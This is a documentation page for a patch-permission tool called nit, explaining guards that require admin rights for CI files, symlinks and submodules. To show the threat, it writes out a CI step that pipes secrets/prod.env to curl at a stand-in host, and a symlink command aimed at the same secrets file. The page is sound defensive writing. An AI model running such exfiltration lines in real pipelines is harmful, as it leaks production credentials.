Skip to content

Guards

Path rules answer “may this subject change this path?”.

They do not answer the question that matters just as much: “does this change hand the subject a capability the policy withholds?”

A patch that only ever touches paths its author may write can still walk out with everything.

.github/workflows/ci.yml
- run: cat secrets/prod.env | curl -X POST -d @- https://elsewhere.example

A CI job runs with a full checkout and network access. Write access to a workflow file is therefore read access to the entire repository, laundered through a machine nobody is watching.

This is the largest hole in any file-path permission model, and closing it is most of nit’s security value.

Terminal window
ln -s ../secrets/prod.env src/config.env

A symlink is a read of its target, performed by whoever resolves it. Creating one is an authorization decision, not a content edit — and a model that only compares path names cannot see it, because the only path in the patch is one the author may write.

A .gitmodules entry pulls in content from outside the repository entirely. A .gitattributes clean or smudge filter runs a command on checkout.

Neither is “editing a file” in any sense a path rule understands.

Certain changes require the admin action on the path, on top of the ordinary write requirements.

GuardFires onBecause
protected_path.github/, .gitlab-ci.yml, .gitea/, .circleci/, Jenkinsfile, .gitattributes, .gitmodules, .nit/, …CI runs with a full checkout and can print anything
symlinkA change producing mode 120000A symlink is a read of its target
submoduleA change producing mode 160000It injects content from outside the repository

The full default list is in the source as enforce.DefaultProtectedPaths.

Because guards are expressed as a requirement for admin, they need no separate configuration language. Granting admin on .github/ to a team is an ordinary rule:

- id: platform-owns-ci
subject: { type: group, id: platform }
paths: [.github/, .gitattributes, .gitmodules]
actions: [read, write, create, delete, admin]
effect: allow
Terminal window
mkdir -p .github/workflows && echo 'name: exfiltrate' > .github/workflows/ci.yml
git add -A && git commit -m 'edit CI'
nit push -m 'edit ci'
nit: the patch touches paths you may not change
.github/workflows/ci.yml (create)
.github/workflows/ci.yml (admin)
guard: protected_path

Two denials for one file. The first is the ordinary path rule — no rule grants this developer create there. The second is the guard.

That second line is the one that matters: even a bundle that gave developers write access to everything would still hit it. Guards are a floor, not a consequence of your rules.

Why the patch model has to know about modes

Section titled “Why the patch model has to know about modes”

Detecting a symlink or a submodule is impossible if you only look at path names. That is why nit parses a patch into a structure that records the operation, the file mode on both sides, and the kind of entry — blob, symlink or submodule — rather than just the paths it touches.

A pure rename is a useful edge case: it carries no mode line at all, because the mode is unchanged from upstream. nit treats that as “introduces nothing”, which is correct and keeps every ordinary rename from tripping the symlink guard.

Guards close the holes that are visible in a patch. They do not close a hole in your forge configuration.

If a developer can push to the branch directly, none of this applies to them — they never went through nit. See Going to production for the three things that have to be true about the forge.